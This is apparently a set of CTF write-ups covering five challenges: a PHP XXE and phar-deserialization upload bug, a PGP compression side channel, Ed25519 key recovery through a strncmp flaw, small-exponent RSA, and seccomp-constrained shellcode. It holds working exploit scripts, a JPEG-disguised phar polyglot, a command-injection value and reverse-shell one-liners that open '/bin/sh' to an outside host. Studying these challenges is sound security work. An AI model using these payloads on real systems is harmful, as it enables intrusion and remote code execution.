• Midnightsunctf Rubenscube

    This task provided a file upload for images. After looking at the robots.txt we saw that a file “source.zip” exists in which the source code of the app is stored.

    The upload functionality is implemented as:

    <?php
    session_start();
    
    function calcImageSize($file, $mime_type) {
        if ($mime_type == "image/png"||$mime_type == "image/jpeg") {
            $stats = getimagesize($file);  // Doesn't work for svg...
            $width = $stats[0];
            $height = $stats[1];
        } else {
            $xmlfile = file_get_contents($file);
            $dom = new DOMDocument();
            $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
            $svg = simplexml_import_dom($dom);
            $attrs = $svg->attributes();
            $width = (int) $attrs->width;
            $height = (int) $attrs->height;
        }
        return [$width, $height];
    }
    
    
    class Image {
    
        function __construct($tmp_name)
        {
            $allowed_formats = [
                "image/png" => "png",
                "image/jpeg" => "jpg",
                "image/svg+xml" => "svg"
            ];
            $this->tmp_name = $tmp_name;
            $this->mime_type = mime_content_type($tmp_name);
    
            if (!array_key_exists($this->mime_type, $allowed_formats)) {
                // I'd rather 500 with pride than 200 without security
                die("Invalid Image Format!");
            }
    
            $size = calcImageSize($tmp_name, $this->mime_type);
            if ($size[0] * $size[1] > 1337 * 1337) {
                die("Image too big!");
            }
    
            $this->extension = "." . $allowed_formats[$this->mime_type];
            $this->file_name = sha1(random_bytes(20));
            $this->folder = $file_path = "images/" . session_id() . "/";
        }
    
        function create_thumb() {
            $file_path = $this->folder . $this->file_name . $this->extension;
            $thumb_path = $this->folder . $this->file_name . "_thumb.jpg";
            system('convert ' . $file_path . " -resize 200x200! " . $thumb_path);
        }
    
        function __destruct()
        {
            if (!file_exists($this->folder)){
                mkdir($this->folder);
            }
            $file_dst = $this->folder . $this->file_name . $this->extension;
            move_uploaded_file($this->tmp_name, $file_dst);
            $this->create_thumb();
        }
    }
    
    new Image($_FILES['image']['tmp_name']);
    header('Location: index.php');
    

    The first issue we discovered was that the deserialization of an svg image allows external entities. So we tried to upload an svg image with an external entity which uses an expect statment. This should execute the command provided in it on the server. The problem is that php needs a specific module to interpret the expect statement, which was not installed.

    Also interesting is that ‘system’ is directly called to convert the images. Unfortunately we have no control over the parameter. After hours of search we found out that we can ‘disguise’ a phar archive as an jpeg image, which we now can upload to the server. The important part comes now. We are able to provide a serialized object in the metadata of the phar archive and we have full control over the attributes of this object. When the object gets deserialized it will get instantly destroyed by the garbage collector and so the ‘__destruct()’ method gets called. Therefore we can set the ‘$folder’ attribute of the Image object to run abitrary commands on the host system.

    To activate the phar archive we can use the stream wrapper ‘phar://’ which we can provide as an external entity of an svg image.

    This is our script to create the phar archive:

    <?php
    
    $jpeg_header_size = 
    "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
    "\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
    "\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
    "\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
    "\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
    "\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
    "\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
    "\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
    "\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
    "\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
    
    $phar = new Phar("exploit.phar");
    $phar['exp.php'] = '<?php system(\'php -r \\\'$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");\\\'\');?>';
    $phar->startBuffering();
    $phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
    class Image {}
    $o = new Image();
    $o->folder = " | php -r '\$sock=fsockopen(\"<ip of server>\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");' | ";
    $phar->setMetadata($o);
    $phar->stopBuffering();
    

    The code of the ‘exp.php’ file inside this archive will not get executed and is just an artifact of one of our attempts. But there has to be one php file inside the phar archive which we can access via the stream wrapper.

    Let’s see what ‘file’ has to say about the archive.

    $ php pack.php 
    $ file exploit.phar 
    exploit.phar: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
    

    The archive is in fact recognized as a jpeg image.

    Now we crafted an svg image with external entities which should trigger the phar archive.

    <?xml version="1.0" standalone="yes"?>
    <!DOCTYPE convert [ <!ENTITY % payl SYSTEM "phar://images/cb8v42f3sfisnad6piq9sl23u7/f79556d9bf3197276c38c26bdbaba9511103ac93.jpg/exp.php">%payl;]>
    <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-family="Verdana" font-size="16" x="10" y="40"></text></svg>
    

    The path used in the svg image can be found in the gallery. After uploading this svg image the reverse shell got initiated and we could get the flag flag{R3lying_0n_PHP_4lw45_W0rKs}

  • InsomnihackCTF 2019 - drinks

    In this task we’re given an IP, a port and the source code of the service.

    The service offers a JSON based API:

    from flask import Flask,request,abort
    import gnupg
    import time
    app = Flask(__name__)
    gpg = gnupg.GPG(gnupghome="/tmp/gpg")
    
    couponCodes = {
        "water": "WATER_2019",
        "beer" : "" # REDACTED
    }
    
    @app.route("/generateEncryptedVoucher", methods=['POST'])
    def generateEncryptedVoucher():
    
        content = request.json
        (recipientName,drink) = (content['recipientName'],content['drink'])
    
        encryptedVoucher = str(gpg.encrypt(
            "%s||%s" % (recipientName,couponCodes[drink]),
            recipients  = None,
            symmetric   = True,
            passphrase  = couponCodes[drink]
        )).replace("PGP MESSAGE","DRINK VOUCHER")
        return encryptedVoucher
    
    @app.route("/redeemEncryptedVoucher", methods=['POST'])
    def redeemEncryptedVoucher():
    
        content = request.json
        (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase'])
    
        # Reluctantly go to the fridge...
        time.sleep(15)
    
        decryptedVoucher = str(gpg.decrypt(
            encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"),
            passphrase = passphrase
        ))
        (recipientName,couponCode) = decryptedVoucher.split("||")
    
        if couponCode == couponCodes["water"]:
            return "Here is some fresh water for %s\n" % recipientName
        elif couponCode == couponCodes["beer"]:
            return "Congrats %s! The flag is INS{ %s}\n" % (recipientName, couponCode)
        else:
            abort(500)
    
    if __name__ == "__main__":
        app.run(host='0.0.0.0')
    

    This service encrypts a user generated string concatinated with || and the encryption key.

    The goal here was to find the de-/encryption key of the beer voucher.

    The code is using a wrapper for the GnuPGP library. The corresponding RFC says, PGP is using a block cipher in CFB mode. Since we didn’t see how we could directly attack this service, we were buffeled for a bit.

    We decided to find out the length of the encryption key, since it might be to short. To do so, we send the service receipientNames with an increasing amount of As. To our surprise, the ciphertext size didn’t increase per character.

    This means, OpenPGP uses compression before encrypting the data! This opens the door for a compression side channel!

    Since we control what comes before the encryption key, we can try out different characters. Everytime we get a shorter ciphertext, we know another character of the key, since our receipientName got compressed together with the key. Because the compression starts at a size of three bytes, we can start our search with ||A. This would result in the text ||A||$SECRET_KEY, which should be compressed (and therefore shorter) if the $SECRET_KEY starts with an A.

    The exploit script (see below) first determines a maximum ciphertext length by sending a non-compressible 40 byte string to the service. Then it tries out new characters by appending them to the known key string (in the beginning ||) and filling the remaining 40 bytes with non compressible data. Everytime a ciphertext shorter than the previous one is received, we know another byte of the key!

    The exploit script is not optimal (CTF code quality…), since it doesn’t necessarily find the patterns in correct order.

    Running it the first time gave us the key G1M_V3RY_TH1RSTY, which seems wierd and also didn’t work for decryption. Forbidding the first underline, it would give us the key G1MME_B33RY_TH1RSTY, which also doesn’t make sense. This is because the key contains repeating patterns (e.g. B33RY compresses, just as B33R_ because of the word V3RY).

    To fix this we’d need a more sophisticated approach, storing all candidate characters… But it was 3 a.m. and we were tired. So we just fixed the prefix to ||G1MME_B33R_ which seemed reasonable.

    This worked and gave us:

    p3 explcry.py
    [...]
    ||G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY
    

    Which is the flag.

    Full Exploit Script:

    import os
    
    import random
    import base64
    import requests
    import string
    
    SEARCHSP = list("_" + string.printable[:-6])
    
    PAD = string.ascii_lowercase + "!§$%&()=?-:;#'+*<>|"
    
    MAX_LEN = 40
    
    for c in PAD:
        if c in SEARCHSP:
            SEARCHSP.remove(c)
    
    def gen_pad(l):
        a = random.randint(0, len(PAD)-l)
        return PAD[a:a+l]
    
    def convert_to_hex(p):
        return base64.b64decode("".join(p.split("\n")[2:-3])).hex()
    
    def get_enc(recipient, drink):
        r=requests.post('http://localhost:5000/generateEncryptedVoucher',json={'recipientName': recipient, 'drink': drink}) 
        return r.text
    
    
    def get_uncompressed_len(PREFIX):
        while True:
            l_high_ent = []
            for i in range(20):
                l_high_ent.append(convert_to_hex(get_enc(PREFIX + gen_pad(MAX_LEN - len(PREFIX)), "beer")))
    
            len_ct = len(l_high_ent[0])
            for p in l_high_ent:
                if len(p) != len_ct:
                    break
            else:
                break
        return len_ct
    
    KNOWN = "||G1MME_B33R_"
    len_ct = get_uncompressed_len(KNOWN)
    print("Ciphertext len without compression: ", len_ct)
    
    
    num = 0
    for _ in range(26):
        for c in string.ascii_uppercase + "_0123456789":
            pw = KNOWN + c + PAD[:MAX_LEN - len(KNOWN) - 1]
            test = convert_to_hex(get_enc(pw, "beer"))
            num += 1
            if len(test) < len_ct:
                len_ct = len(test)
                print(len(test))
                KNOWN += c
                print(KNOWN)
                break 
    print(KNOWN)
    
  • hxpCTF 2018 - uff

    This challenge came with c code and this description:

    The crypto_sign function is designed to meet the standard notion of unforgeability for a public-key signature scheme under chosen-message attacks.
    

    The code implements a service that creates 8 random key pairs for ed25519, it then lets you sign up to 1000 arbitrary messages. The keys used for signing can be chosen by us, by supplying the respective public key. The output looked like this:

     ./hxpcry                     [0]
    Welcome to the Ed25519 existential forgery game!  Enjoy and good luck.
    public key: 0609355a5505f116b6232dfc4aaedf99fef2c03376dc05f782e2b5f26454b353
    public key: d24d6a7e6da062de8b0bf8b9f0efcb7617c6d6c44027af1d1e052359a80bf36d
    public key: 7cf253c5667ea674ec4675a49731b3c58ee72e633212d8df05a44f9f2160bf63
    public key: 3afe84a3480cae670d27363966929dd6d879981116b20600c50494378d84acb6
    public key: 9c806c7bd9a890c43b2b89dc9ebe091888345ed958ef5f2fa60b42e8feb9fa98
    public key: 909ec9496a787af72e444d314eb1c4910950ca7b757240a017149d7872bd6d55
    public key: 816f1e428660418f942fec895e6fb75fc3db41c650578e636593e0c800064c6d
    public key: d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592
    
    public key> d5db5e4ca30154a7266e75d6da77071e72c363fe6f0b2305810432b5ee0fd592
    length>     1
    message>    aa
    signed:     d06d3f94beea2e8e71fbeb74f0558c92bea4121e666f35585544829b57b274d97c39da375c3b2333103f39bff3a5d1f2b48990d33473c4cac3ad8b78bc145409aa
    public key>
    [...]
    forgery>    FORGED_SIGNATURE
    

    If we manage to supply a valid signature for any of the given public keys and an arbitrary message (that we haven’t submitted to the service) the flag will be printed.

    C and strings

    As it can be seen by the includes, the library uses djb’s tweetnacl library. Knowing that this library probably has no direct vulnerability, we looked at the provided C file. In C it is extermely easy to screw up string handling or buffer sizes. Since the authors layed some false trails, it took us a bit to find the actually pretty obvious bug.

    The code reads in the provided public key:

    printf("public key> "); fflush(stdout);
    if (sizeof(pk) != read_hex(pk, sizeof(pk)) || K == (idx = find(pk)))
        break;
    

    and checks if the given public key is in the list of public keys via the find function. If the public key is in the list, it then uses the user supplied public key within the signing function (along with its private key).

    printf("signed:     ");
    print_hex(m, sign(m, n, keys[idx].sk, pk));
    printf("\n");
    

    The find function looks like this:

    unsigned find(unsigned char const *pk)
    {
        unsigned idx;
        for (idx = 0; idx < K; ++idx)
            if (!strncmp(pk, keys[idx].pk, 32))
                break;
        return idx;
    }
    

    It uses strncmp to compare the user supplied public key to the one stored in its internal list.

    Since strncmp only compares until the first null byte (the string terminator in C), we could wait until the service gives us a public key that contains a null byte.

    From that null byte on, we could submit different bytes for the public key and it would still be used during signing.

    So if we get an output like this:

    Welcome to the Ed25519 existential forgery game!  Enjoy and good luck.
    [...]
    22bfe776234f54e70fead863c49b13ece4ed218e00e201426618e1af551216c6
    [...]
    public key>
    

    We could submit the correct public key 22bfe776234f54e70fead863c49b13ece4ed218e00e201426618e1af551216c6, but we could also submit 22bfe776234f54e70fead863c49b13ece4ed218e00aaaaaaaaaaaaaaaaaaaaaa. The service would use both public keys with the same private key to sign our messages.

    But why does this matter?

    ed25519

    The services signs our messages using the libraries ed25519 implementation. Ed25519 is a edDSA scheme, so basically a Schnorr signature on a twisted elliptic edwards curve.

    An edDSA signature consists of two parts (R,S) (R, S) , where R is a curve point and S a scalar. R is calculated as R=rB R = rB , with r beeing essentially a random value (it’s not actually random, it’s deterministic, but it serves as a random value) r=H(Hb,,2b1(k),M) r = H(H_{b,\dots,2b - 1}(k), M) . B is the defined base point, H a one way hash function and k is the private key. Check out the linked Wikipedia article for the exact parameters of ed25519.

    The S of the signature is calculated as follows:

    Sr+H(R,A,M)s(mod). S \equiv r + H(R, A, M) s \pmod \ell.

    The secret r is added to the hash of R, the public key A, and the message multiplied by the secret s (derived from the private key).

    So if we manage to sign the same message two times, using the same private key, but two different public keys we would get the following equations:

    S1r1+H(R1,A1,M)s(mod). S_1 \equiv r_1 + H(R_1, A_1, M) s \pmod \ell.

    and

    S2r2+H(R2,A2,M)s(mod). S_2 \equiv r_2 + H(R_2, A_2, M) s \pmod \ell.

    For these two equations, we have all the variables, except for the secret key s. Given this secret key s, we could just sign messages our selves.

    The secret s can easily be calculated:

    s=S1S2H(R1,A1,M)H(R2,A2,M) s = \frac{S_1 - S_2}{H(R_1, A_1, M) - H(R_2, A_2, M)}

    Note that this calculation is done modulo, so it actually reads like this:

    s(S1S2)(H(R1,A1,M)H(R2,A2,M))1mod. s \equiv (S_1 - S_2) \cdot (H(R_1, A_1, M) - H(R_2, A_2, M))^{-1} \mod \ell.

    Putting it together

    So the exploit works as follows:

    1. Connect to the service until it gives us a public key containing a null byte
    2. Use this public key to create a wrong public key (differs after the null byte)
    3. Request two signatures for the same message using the differnt public keys
    4. Calculate the secret s
    5. Sign a message of our choice and submit it
    6. Enjoy the flag

    The final exploit can be found here. It uses the pure25519 python lib by Brian Warner.

    Running the exploit gives us:

    [+] Opening connection to 159.69.218.92 on port 25519: Done
    ('Found weak key', '\x14\xec5\xb3\x04]\x05\x12Ss\xaf\xdb\xbaj\xf6\x00\xf2\xa5QV\xd4~\x9a\xe9\x1f\x0b\x90\x88\xd2\xd7*+')
    ('Signature: ', 'cfa1a0255fb0cdab6c8183a68674e7755f2d04f0990fc67e5cbd4bea9e6661df81da90f1ef2ee990f8c6ff4f970d7955b595691a0e6d135a4a1ab7c964f63c03')
    
    hxp{Th3_m0sT_f00lpr00f_sYsT3m_br34kz_1f_y0u_4bU5e_1t_h4rD_eN0u9h}
    [*] Closed connection to 159.69.218.92 port 25519
    

    \o/

  • hxpCTF 2018 - daring

    Daring was a pretty straight forward entry level task of this years hxp CTF.

    We’re giving this python script:

    #!/usr/bin/env python3
    import os
    from Crypto.Cipher import AES
    from Crypto.Hash import SHA256
    from Crypto.Util import Counter
    from Crypto.PublicKey import RSA
    
    flag = open('flag.txt', 'rb').read().strip()
    
    key = RSA.generate(1024, e=3)
    open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n')
    open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big'))
    
    key = SHA256.new(key.exportKey('DER')).digest()
    open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag))
    

    as well as the public key and the encrypted files rsa.enc and aes.enc.

    Since AES is used in counter mode, we know that the flag is 43 bytes long.

    Looking at the RSA encryption we see two things:

    • Small exponent (3)
    • The flag is padded with trailing null bytes

    Since we know the size of the flag, we can just multiply the cipher text with the encryption of the multiplicative inverse of the padding (0x100000000…).

    The result would be (with m=flag and p=padding):

    (mp)3(p1)3m3modN (m \cdot p)^3 \cdot (p^{-1})^3 \equiv m^3 \mod N

    For a small m, we should be able to simply compute the third root of the resulting ciphertext. Since m is small we don’t need to worry about the modulus N.

    Unfortunately its not quite that simple, because the flag is one byte too long for this to work.

    There are multiple ways to still make this work.

    I decided to just cancel out some factor of the number that represents the flag. To do this, I just ran a loop multiplying the cipher text with the inverse of this factor, taking the cube root, then multiply by this factor.

    Once we hit a factor x of the flag, we get the number z:

    z(mx1)3modN z \equiv (m \cdot x^{-1})^3 \mod N

    This number should be short enough for us to be able to take the cube root, then multiply it by the factor x:

    m=x(mx1)33 m = x \cdot \sqrt[3]{(m \cdot x^{-1})^3}

    The exploit looks like this:

    from Crypto.PublicKey import RSA
    import gmpy2
    
    pubkey = RSA.import_key(open("pubkey.txt").read())
    rsa_enc = int.from_bytes(open("rsa.enc", "rb").read(), "big")
    
    flag_len = 43
    
    for factor_candidate in range(10000):
        r = gmpy2.invert(2**((128 - flag_len)*8), pubkey.n)
        try:
            fac_r =  gmpy2.invert(factor_candidate, pubkey.n)
        except Exception:
            continue
        enc_r = pow(r, pubkey.e, pubkey.n)
        enc_fac = pow(fac_r, pubkey.e, pubkey.n)
    
        new_enc = (rsa_enc * enc_r * enc_fac) % pubkey.n
        root, succ = gmpy2.iroot(new_enc, pubkey.e)
        res = int.to_bytes(int(root) * factor_candidate, 100, "big")
    
        if b"hxp" in res:
            print("factor {}: {}".format(factor_candidate, res[-43:]))
            break
    

    And gives us:

    factor 83: b'hxp{DARINGPADS_1s_4n_4n4gr4m_0f_RSAPADDING}'
    

    \o/

  • Pwn2Win 2018 Minishell

    We are allowed to directly execute x64 shellcode in a r/x mmapped region, however only up to a Size of 12 Bytes. And there was seccomp enabled, so we only had mprotect, read, write, open and a few other syscalls available. We cannot read the flag with only 12 Bytes available, so we must somehow reread additional shellcode. Therefore we must get our mempage writable again. And afterwards we need to read some shellcode in there, overwriting our currently executed shellcode.

    Step1: Making the mempage writable

    As the last function call before jumping into our shellcode was mprotect, most of the registers luckily were already set correctly. As we want to call mprotect by syscall, our shellcode therefore only needs to set rax = 10 (for mprotect) and rdx = 7 (for r/w/x rights).

    ; already set correctly : rdi = our mempage base addr, rsi = mempage size
    mov al, 10
    mov dl, 7
    syscall
    

    This will result in 6 Bytes of shellcode. Also, after successfull execution, rax will be set to zero, the syscall number of read!

    Step2: Reading

    Now we need to read from stdin, rax is already set to 0 (the id of read). For the parameters we need to get rdi = 0 (for stdin), rsi = rdi (rdi contains our mempage addr), rdx = the amount we want to read. My first try was something like:

    mov rsi, rdi
    mov rdi, rax
    mov dl, 0xff
    syscall
    

    Which will result in 10 Bytes of additional shellcode, way too much, we need to get it into 6 Bytes. Therefore we can do some optimisations. For example the mov rsi, rdi operation (3 Bytes in size) can as well be expressed as push rdi; pop rsi (2 Bytes in size). By completely removing the assignment of the rdx register, we will get a 6 Byte read shellcoode.

    push rdi
    pop rsi
    push rax
    pop rdi
    syscall
    

    We now can read into our own mempage. However, rdx is still 7 from the last call, so this doesn’t help us at all, we will return right into nothing after the read syscall. We need to read more.

    Step3: Mmap protection flags

    As we want to get rdx > 7, we could just try to set it to some arbitrary value right before the mprotect syscall. But then mprotect will fail with EINVAL. So let’s check wich flags we have available to use the syscall correctly and get rdx > 7.

    /* mman-common.h */
    #define PROT_READ	0x1		/* page can be read */
    #define PROT_WRITE	0x2		/* page can be written */
    #define PROT_EXEC	0x4		/* page can be executed */
    #define PROT_SEM	0x8		/* page may be used for atomic ops */
    #define PROT_NONE	0x0		/* page can not be accessed */
    

    A PROT_SEM flag. Interesting. So setting rdx = 15 would work, we could read 3 additional Bytes and overwrite our whole current shellcode + 3. Those additional 3 Bytes are sufficient to do a jmp rsi. From there on it is a piece of cake, with that much space available, we can read an arbitrary amount of shellcode into memory and finally get our flag.

    Full exploit code:

    from pwn import *
    
    context.clear(arch='amd64')
    
    stage1 = """
        mov al, 10
        mov dl, 15
        syscall
        push rdi
        pop rsi
        push rax
        pop rdi
        syscall
        """
    stage1 = asm(stage1)
    assert len(stage1) <= 12
    
    stage2 = """
        mov dx, 0x1000
        xor rax, rax
        syscall
    """
    stage2 = asm(stage2)
    assert len(stage2) <= 12
    stage2 = stage2.ljust(12, asm('nop')) + asm('jmp rsi')
    assert len(stage2) <= 15
    
    stage3 = "nop\n" * 15
    stage3 += pwnlib.shellcraft.open('/home/minishell/flag.txt')
    stage3 += pwnlib.shellcraft.read('rax', 'rsp', 0x1000)
    stage3 += pwnlib.shellcraft.write(1, 'rsp', 'rax')
    stage3 = asm(stage3)
    
    # r = remote('localhost', 6666)
    r = remote('200.136.252.34', 4545)
    if __name__ == '__main__':
        r.recvuntil('? ')
        r.send(stage1)
        r.recvuntil('!\n')
        r.send(stage2)
        r.send(stage3)
        r.interactive()
        # CTF-BR{s0000_t1ght_f0r_my_B1G_sh3ll0dE_}
    
    

    The PATH wasn’t set, so just opening flag.txt did not work. Had to read /etc/passwd to find out the home path.